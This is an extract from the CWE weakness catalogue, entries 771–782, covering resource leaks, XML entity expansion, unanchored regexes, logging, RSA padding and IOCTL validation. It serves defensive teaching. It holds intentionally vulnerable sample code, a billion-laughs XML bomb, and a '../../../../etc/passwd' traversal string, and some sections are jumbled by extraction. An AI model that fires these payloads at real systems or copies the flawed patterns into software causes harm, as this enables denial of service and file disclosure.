Notes

Relationship

This entry is different from uncontrolled resource consumption (CWE-400) in that there are other weaknesses that are related to inability to control resource consumption, such as holding on to a resource too long after use, or not correctly keeping track of active resources so that they can be managed and released when they are finished (CWE-771).

Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

CWE-771: Missing Reference to Active Allocated Resource

Weakness ID : 771

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software does not properly maintain a reference to a resource that has been allocated, which prevents the resource from being reclaimed.

Extended Description

This does not necessarily apply in languages or frameworks that automatically perform garbage collection, since the removal of all references may act as a signal that the resource is ready to be reclaimed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|-----|---|------|
| ChildOf |  | 400 | Uncontrolled Resource Consumption | 889 |

Likelihood Of Exploit

Medium

Common Consequences

| Scope | Impact | Likelihood |
|--------------|---|------------|
| Availability | DoS: Resource Consumption (Other) <i>An attacker that can influence the allocation of resources that are not properly maintained could deplete the available resource pool and prevent all other processes from accessing the same type of resource.</i> | |

Potential Mitigations

Phase: Operation

Phase: Architecture and Design

Strategy = Resource Limitation

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-772: Missing Release of Resource after Effective Lifetime

Weakness ID : 772

Status: Draft

Structure : Simple

Abstraction : Base

Description

The software does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.

Extended Description

When a resource is not released after use, it can allow attackers to cause a denial of service by causing the allocation of resources without triggering their release. Frequently-affected resources include memory, CPU, disk space, power or battery, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Technology : Mobile (Prevalence = Undetermined)

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|--------------|---|------------|
| Availability | DoS: Resource Consumption (Other) <i>An attacker that can influence the allocation of resources that are not properly released could deplete the available resource pool and prevent all other processes from accessing the same type of resource.</i> | |

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.

Phase: Implementation

It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free resources in a function. If you allocate resources that you intend to free upon completion of the function, you must be sure to free the resources at all exit points for that function including error conditions.

Phase: Operation

Phase: Architecture and Design

Strategy = Resource Limitation

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

Demonstrative Examples

Example 1:

The following method never closes the new file handle. Given enough time, the `Finalize()` method for `BufferedReader` should eventually call `Close()`, but there is no guarantee as to how long this action will take. In fact, there is no guarantee that `Finalize()` will ever be invoked. In a busy environment, the Operating System could use up all of the available file handles before the `Close()` function is called.

Example Language: Java

(bad)

```
private void processFile(string fName)
{
    BufferedReader fil = new BufferedReader(new FileReader(fName));
    String line;
    while ((line = fil.ReadLine()) != null)
    {
        processLine(line);
    }
}
```

The good code example simply adds an explicit call to the Close() function when the system is done using the file. Within a simple example such as this the problem is easy to see and fix. In a real system, the problem may be considerably more obscure.

Example Language: Java

(good)

```
private void processFile(string fName)
{
    BufferedReader fil = new BufferedReader(new FileReader(fName));
    String line;
    while ((line = fil.ReadLine()) != null)
    {
        processLine(line);
    }
    fil.Close();
}
```

Example 2:

The following code attempts to open a new connection to a database, process the results returned by the database, and close the allocated SqlConnection object.

Example Language: C#

(bad)

```
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
```

The problem with the above code is that if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

Example 3:

This code attempts to open a connection to a database and catches any exceptions that may occur.

Example Language: Java

(bad)

```
try {
    Connection con = DriverManager.getConnection(some_connection_string);
}
catch ( Exception e ) {
    log( e );
}
```

If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application.

Example 4:

Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

Example Language: C# (bad)

```
...
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
...
```

Example 5:

The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.

Example Language: C (bad)

```
int decodeFile(char* fName) {
    char buf[BUF_SZ];
    FILE* f = fopen(fName, "r");
    if (!f) {
        printf("cannot open %s\n", fName);
        return DECODE_FAIL;
    }
    else {
        while (fgets(buf, BUF_SZ, f)) {
            if (!checkChecksum(buf)) {
                return DECODE_FAIL;
            }
            else {
                decodeBlock(buf);
            }
        }
    }
    fclose(f);
    return DECODE_SUCCESS;
}
```

Observed Examples

| MemberOf | V | 1200 | Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors | 1200 | 2251 |

Notes

Maintenance

"Resource exhaustion" (CWE-400) is currently treated as a weakness, although it is more like a category of weaknesses that all have the same type of consequence. While this entry treats CWE-400 as a parent in view 1000, the relationship is probably more appropriately described as a chain.

Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.

CWE-773: Missing Reference to Active File Descriptor or Handle

Weakness ID : 773

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

The software does not properly maintain references to a file descriptor or handle, which prevents that file descriptor/handle from being reclaimed.

Extended Description

This can cause the software to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--|------|
| ChildOf |  | 771 | Missing Reference to Active Allocated Resource | 1471 |

Common Consequences

| Scope | Impact | Likelihood |
|--------------|---|------------|
| Availability | DoS: Resource Consumption (Other) <i>An attacker that can influence the allocation of resources that are not properly maintained could deplete the available resource pool and prevent all other processes from accessing the same type of resource.</i> | |

Potential Mitigations

Phase: Operation

Phase: Architecture and Design

Strategy = Resource Limitation

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling

| | |
|------------------------------|---------------------------|
| Weakness ID : 774 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The software allocates file descriptors or handles on behalf of an actor without imposing any restrictions on how many descriptors can be allocated, in violation of the intended security policy for that actor.

Extended Description

This can cause the software to consume all available file descriptors or handles, which can prevent other processes from performing critical file processing operations.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime**Weakness ID :** 775**Status:** Incomplete**Structure :** Simple**Abstraction :** Variant**Description**

The software does not release a file descriptor or handle after its effective lifetime has ended, i.e., after the file descriptor/handle is no longer needed.

Extended Description

When a file descriptor or handle is not released after use (typically by explicitly closing it), attackers can cause a denial of service by consuming all available file descriptors/handles, or otherwise preventing other system processes from obtaining their own file descriptors/handles.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2007-0897 | Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0897 |

MemberOf Relationships

CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')

Weakness ID : 776

Status: Draft

Structure : Simple

Abstraction : Base

Description

The software uses XML documents and allows their structure to be defined with a Document Type Definition (DTD), but it does not properly control the number of recursive definitions of entities.

Extended Description

If the DTD contains a large number of nested or recursive entities, this can lead to explosive growth of data when parsed, causing a denial of service.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|-----------|--|-----|--|------|
| ChildOf |  | 409 | Improper Handling of Highly Compressed Data (Data Amplification) | 915 |
| ChildOf |  | 674 | Uncontrolled Recursion | 1352 |
| CanFollow |  | 827 | Improper Control of Document Type Definition | 1574 |

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

| Nature | Type | ID | Name | Page |
|---------|---|-----|------------------------|------|
| ChildOf |  | 674 | Uncontrolled Recursion | 1352 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|----|------------------------|------|
| MemberOf |  | 19 | Data Processing Errors | 2026 |

Applicable Platforms

Language : XML (Prevalence = Undetermined)

Alternate Terms

XEE : XEE is the acronym commonly used for XML Entity Expansion.

Billion Laughs Attack :

XML Bomb : While the "XML Bomb" term was used in the early years of knowledge of this issue, the XEE term seems to be more commonly used.

Likelihood Of Exploit

Medium

Common Consequences

| Scope | Impact | Likelihood |
|--------------|--|------------|
| Availability | DoS: Resource Consumption (Other) | |
| | <i>If parsed, recursive entity references allow the attacker to expand data exponentially, quickly consuming all system resources.</i> | |

Potential Mitigations

Phase: Operation

If possible, prohibit the use of DTDs or use an XML parser that limits the expansion of recursive DTD entities.

Phase: Implementation

Before parsing XML files with associated DTDs, scan for recursive entity declarations and do not continue parsing potentially explosive content.

Demonstrative Examples

Example 1:

The DTD and the very brief XML below illustrate what is meant by an XML bomb. The ZERO entity contains one character, the letter A. The choice of entity name ZERO is being used to indicate length equivalent to that exponent on two, that is, the length of ZERO is 2^0 . Similarly, ONE refers to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or 2^1 . Ultimately, we reach entity THIRTYTWO, which will expand to 2^{32} characters in length, or 4 GB, probably consuming far more data than expected.

Example Language: XML

(attack)

```
<?xml version="1.0"?>
<!DOCTYPE MaliciousDTD [
<!ENTITY ZERO "A">
<!ENTITY ONE "&ZERO;&ZERO;">
<!ENTITY TWO "&ONE;&ONE;">
...
<!ENTITY THIRTYTWO "&THIRTYONE;&THIRTYONE;">
]>
<data>&THIRTYTWO;</data>
```

Observed Examples

CWE-777: Regular Expression without Anchors

Weakness ID : 777

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

The software uses a regular expression to perform neutralization, but the regular expression is not anchored and may allow malicious or malformed data to slip through.

Extended Description

When performing tasks such as validating against a set of allowed inputs (allowlist), data is examined and possibly modified to ensure that it is well-formed and adheres to a list of safe values. If the regular expression is not anchored, malicious or malformed data may be included before or after any string matching the regular expression. The type of malicious data that is allowed will depend on the context of the application and which anchors are omitted from the regular expression.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|-------------------------------|------|
| ChildOf |  | 625 | Permissive Regular Expression | 1272 |

Background Details

Regular expressions are typically used to match a pattern of text. Anchors are used in regular expressions to specify where the pattern should match: at the beginning, the end, or both (the whole input).

Likelihood Of Exploit

Medium

Common Consequences

| Scope | Impact | Likelihood |
|---|---|------------|
| Availability Confidentiality Access Control | Bypass Protection Mechanism <i>An unanchored regular expression in the context of an allowlist will possibly result in a protection mechanism failure, allowing malicious or malformed data to enter trusted regions of the program. The specific consequences will depend on what functionality the allowlist was protecting.</i> | |

Potential Mitigations

Phase: Implementation

Be sure to understand both what will be matched and what will not be matched by a regular expression. Anchoring the ends of the expression will allow the programmer to define an allowlist strictly limited to what is matched by the text in the regular expression. If you are using a package that only matches one line by default, ensure that you can match multi-line inputs if necessary.

Demonstrative Examples

Example 1:

Consider a web application that supports multiple languages. It selects messages for an appropriate language by using the lang parameter.

Example Language: PHP

(bad)

```
$dir = "/home/cwe/languages";  
$lang = $_GET['lang'];  
if (preg_match("/[A-Za-z0-9]+/", $lang)) {  
    include("$dir/$lang");  
}  
else {  
    echo "You shall not pass!\n";  
}
```

The previous code attempts to match only alphanumeric values so that language values such as "english" and "french" are valid while also protecting against path traversal, CWE-22. However, the regular expression anchors are omitted, so any text containing at least one alphanumeric character will now pass the validation step. For example, the attack string below will match the regular expression.

Example Language:

(attack)

```
../../../../etc/passwd
```

If the attacker can inject code sequences into a file, such as the web server's HTTP request log, then the attacker may be able to redirect the lang parameter to the log file and execute arbitrary code.

CWE-778: Insufficient Logging

Weakness ID : 778

Status: Draft

Structure : Simple

Abstraction : Base

Description

When a security-critical event occurs, the software either does not record the event or omits important details about the event when logging it.

Extended Description

When security-critical events are not logged properly, such as a failed login attempt, this can make malicious behavior more difficult to detect and may hinder forensic analysis after an attack succeeds.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|---|------|
| ChildOf | P | 693 | Protection Mechanism Failure | 1384 |
| ChildOf | E | 223 | Omission of Security-relevant Information | 523 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|------|------|-------|------|
| MemberOf | C | 1009 | Audit | 2140 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|------|------|------------------------|------|
| MemberOf | C | 1210 | Audit / Logging Errors | 2191 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Likelihood Of Exploit

Medium

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--|------------|
| Non-Repudiation | Hide Activities <i>If security critical information is not recorded, there will be no trail for forensic analysis and discovering the cause of problems or the source of attacks may become more difficult or impossible.</i> | |

Potential Mitigations

Phase: Architecture and Design

Use a centralized logging mechanism that supports multiple levels of detail. Ensure that all security-related successes and failures can be logged.

Phase: Operation

Be sure to set the level of logging appropriately in a production environment. Sufficient data should be logged to enable system administrators to detect attacks, diagnose errors, and

recover from attacks. At the same time, logging too much data (CWE-779) can cause the same problems.

Demonstrative Examples

Example 1:

The example below shows a configuration for the service security audit feature in the Windows Communication Foundation (WCF).

Example Language: XML

(bad)

```
<system.serviceModel>
  <behaviors>
    <serviceBehaviors>
      <behavior name="NewBehavior">
        <serviceSecurityAudit auditLogLocation="Default"
          suppressAuditFailure="false"
          serviceAuthorizationAuditLevel="None"
          messageAuthenticationAuditLevel="None" />
      ...
    </serviceBehaviors>
  </behaviors>
</system.serviceModel>
```

The previous configuration file has effectively disabled the recording of security-critical events, which would force the administrator to look to other sources during debug or recovery efforts.

Logging failed authentication attempts can warn administrators of potential brute force attacks. Similarly, logging successful authentication events can provide a useful audit trail when a legitimate account is compromised. The following configuration shows appropriate settings, assuming that the site does not have excessive traffic, which could fill the logs if there are a large number of success or failure events (CWE-779).

Example Language: XML

(good)

```
<system.serviceModel>
  <behaviors>
    <serviceBehaviors>
      <behavior name="NewBehavior">
        <serviceSecurityAudit auditLogLocation="Default"
          suppressAuditFailure="false"
          serviceAuthorizationAuditLevel="SuccessAndFailure"
          messageAuthenticationAuditLevel="SuccessAndFailure" />
      ...
    </serviceBehaviors>
  </behaviors>
</system.serviceModel>
```

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2008-4315 | server does not log failed authentication attempts, making it easier for attackers to perform brute force password guessing without being detected https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4315 |
| CVE-2008-1203 | admin interface does not log failed authentication attempts, making it easier for attackers to perform brute force password guessing without being detected https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1203 |
| CVE-2007-3730 | default configuration for POP server does not log source IP or username for login attempts https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3730 |
| CVE-2007-1225 | proxy does not log requests without "http://" in the URL, allowing web surfers to access restricted web content without detection https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1225 |
| CVE-2003-1566 | web server does not log requests for a non-standard request type https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1566 |

MemberOf Relationships

CWE-779: Logging of Excessive Data

| | |
|---------------------------|-----------------------|
| Weakness ID : 779 | Status : Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software logs too much information, making log files hard to process and possibly hindering recovery efforts or forensic analysis after an attack.

Extended Description

While logging is a good practice in general, and very high levels of logging are appropriate for debugging stages of development, too much logging in a production environment might hinder a system administrator's ability to detect anomalous conditions. This can provide cover for an attacker while attempting to penetrate a system, clutter the audit trail for forensic analysis, or make it more difficult to debug problems in a production environment.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|-----------------------------------|------|
| ChildOf | G | 400 | Uncontrolled Resource Consumption | 889 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|------|------|-------|------|
| MemberOf | C | 1009 | Audit | 2140 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|------|------|------------------------|------|
| MemberOf | C | 1210 | Audit / Logging Errors | 2191 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Likelihood Of Exploit

Low

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Availability | DoS: Resource Consumption (CPU) DoS: Resource Consumption (Other) <i>Log files can become so large that they consume excessive resources, such as disk and CPU, which can hinder the performance of the system.</i> | |
| Non-Repudiation | Hide Activities <i>Logging too much information can make the log files of less use to forensics analysts and developers when trying to diagnose a problem or recover from an attack.</i> | |
| Non-Repudiation | Hide Activities <i>If system administrators are unable to effectively process log files, attempted attacks may go undetected, possibly leading to eventual system compromise.</i> | |

Potential Mitigations**Phase: Architecture and Design**

Suppress large numbers of duplicate log messages and replace them with periodic summaries. For example, syslog may include an entry that states "last message repeated X times" when recording repeated events.

Phase: Architecture and Design

Support a maximum size for the log file that can be controlled by the administrator. If the maximum size is reached, the admin should be notified. Also, consider reducing functionality of the software. This may result in a denial-of-service to legitimate software users, but it will prevent the software from adversely impacting the entire system.

Phase: Implementation

Adjust configurations appropriately when software is transitioned from a debug state to production.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2007-0421 | server records a large amount of data to the server log when it receives malformed headers https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0421 |
| CVE-2002-1154 | chain: application does not restrict access to front-end for updates, which allows attacker to fill the error log https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1154 |

CWE-780: Use of RSA Algorithm without OAEP

Weakness ID : 780

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

The software uses the RSA algorithm but does not incorporate Optimal Asymmetric Encryption Padding (OAEP), which might weaken the encryption.

Extended Description

Padding schemes are often used with cryptographic algorithms to make the plaintext less predictable and complicate attack efforts. The OAEP scheme is often used with RSA to nullify the impact of predictable common text.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--|------|
| ChildOf |  | 327 | Use of a Broken or Risky Cryptographic Algorithm | 736 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|--------------|------|
| MemberOf |  | 1013 | Encrypt Data | 2144 |

Likelihood Of Exploit

Medium

Common Consequences

| Scope | Impact | Likelihood |
|----------------|---|------------|
| Access Control | Bypass Protection Mechanism Without OAEP in RSA encryption, it will take less work for an attacker to decrypt the data or to infer patterns from the ciphertext. | |

Demonstrative Examples

Example 1:

The example below attempts to build an RSA cipher.

Example Language: Java (bad)

```
public Cipher getRSACipher() {
    Cipher rsa = null;
    try {
        rsa = javax.crypto.Cipher.getInstance("RSA/NONE/NoPadding");
    }
    catch (java.security.NoSuchAlgorithmException e) {
        log("this should never happen", e);
    }
    catch (javax.crypto.NoSuchPaddingException e) {
        log("this should never happen", e);
    }
    return rsa;
}
```

While the previous code successfully creates an RSA cipher, the cipher does not use padding. The following code creates an RSA cipher using OAEP.

Example Language: Java (good)

```
public Cipher getRSACipher() {
    Cipher rsa = null;
    try {
        rsa = javax.crypto.Cipher.getInstance("RSA/ECB/OAEPWithMD5AndMGF1Padding");
    }
    catch (java.security.NoSuchAlgorithmException e) {
        log("this should never happen", e);
    }
}
```

```

    }
    catch (javax.crypto.NoSuchPaddingException e) {
        log("this should never happen", e);
    }
    return rsa;
}

```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|---|------|---|------|------|
| MemberOf |  | 1346 | OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures | 1344 | 2204 |

Notes

Maintenance

This entry could probably have a new parent related to improper padding, however the role of padding in cryptographic algorithms can vary, such as hiding the length of the plaintext and providing additional random bits for the cipher. In general, cryptographic problems in CWE are not well organized and further research is needed.

CWE-781: Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code

| | |
|------------------------------|-----------------------|
| Weakness ID : 781 | Status : Draft |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The software defines an IOCTL that uses METHOD_NEITHER for I/O, but it does not validate or incorrectly validates the addresses that are provided.

Extended Description

When an IOCTL uses the METHOD_NEITHER option for I/O control, it is the responsibility of the IOCTL to validate the addresses that have been supplied to it. If validation is missing or incorrect, attackers can supply arbitrary memory addresses, leading to code execution or a denial of service.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|------|--|------|
| ChildOf |  | 1285 | Improper Validation of Specified Index, Position, or Offset in Input | 1917 |

| Nature | Type | ID | Name | Page |
|------------|------|-----|--|------|
| CanFollow | V | 782 | Exposed IOCTL with Insufficient Access Control | 1493 |
| CanPrecede | B | 822 | Untrusted Pointer Dereference | 1561 |

Applicable Platforms

Language : C (Prevalence = Often)

Language : C++ (Prevalence = Often)

Operating_System : Windows NT (Prevalence = Sometimes)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Integrity | Modify Memory | |
| Availability | Read Memory | |
| Confidentiality | Execute Unauthorized Code or Commands | |
| | DoS: Crash, Exit, or Restart | |
| | <i>An attacker may be able to access memory that belongs to another process or user. If the attacker can control the contents that the IOCTL writes, it may lead to code execution at high privilege levels. At the least, a crash can occur.</i> | |

Potential Mitigations

Phase: Implementation

If METHOD_NEITHER is required for the IOCTL, then ensure that all user-space addresses are properly validated before they are first accessed. The ProbeForRead and ProbeForWrite routines are available for this task. Also properly protect and manage the user-supplied buffers, since the I/O Manager does not do this when METHOD_NEITHER is being used. See References.

Phase: Architecture and Design

If possible, avoid using METHOD_NEITHER in the IOCTL and select methods that effectively control the buffer size, such as METHOD_BUFFERED, METHOD_IN_DIRECT, or METHOD_OUT_DIRECT.

Phase: Architecture and Design

Phase: Implementation

If the IOCTL is part of a driver that is only intended to be accessed by trusted users, then use proper access control for the associated device or device namespace. See References.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2006-2373 | Driver for file-sharing and messaging protocol allows attackers to execute arbitrary code. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2373 |
| CVE-2009-0686 | Anti-virus product does not validate addresses, allowing attackers to gain SYSTEM privileges. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0686 |
| CVE-2009-0824 | DVD software allows attackers to cause a crash. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0824 |
| CVE-2008-5724 | Personal firewall allows attackers to gain SYSTEM privileges. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5724 |
| CVE-2007-5756 | chain: device driver for packet-capturing software allows access to an unintended IOCTL with resultant array index error. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5756 |

Notes

Applicable Platform

Because IOCTL functionality is typically performing low-level actions and closely interacts with the operating system, this weakness may only appear in code that is written in low-level languages.

Research Gap

While this type of issue has been known since 2006, it is probably still under-studied and under-reported. Most of the focus has been on high-profile software and security products, but other kinds of system software also use drivers. Since exploitation requires the development of custom code, it requires some skill to find this weakness. Because exploitation typically requires local privileges, it might not be a priority for active attackers. However, remote exploitation may be possible for software such as device drivers. Even when remote vectors are not available, it may be useful as the final privilege-escalation step in multi-stage remote attacks against application-layer software, or as the primary attack by a local user on a multi-user system.

CWE-782: Exposed IOCTL with Insufficient Access Control

Weakness ID : 782

Status: Draft

Structure : Simple

Abstraction : Variant

Description

The software implements an IOCTL with functionality that should be restricted, but it does not properly enforce access control for the IOCTL.

Extended Description

When an IOCTL contains privileged functionality and is exposed unnecessarily, attackers may be able to access this functionality by invoking the IOCTL. Even if the functionality is benign, if the programmer has assumed that the IOCTL would only be accessed by a trusted process, there may be little or no validation of the incoming data, exposing weaknesses that would never be reachable if the attacker cannot call the IOCTL directly.

The implementations of IOCTLs will differ between operating system types and versions, so the methods of attack and prevention may vary widely.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|------------|---|-----|---|------|
| ChildOf |  | 749 | Exposed Dangerous Method or Function | 1417 |
| CanPrecede |  | 781 | Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code | 1491 |

Relevant to the view "Architectural Concepts" (CWE-1008)

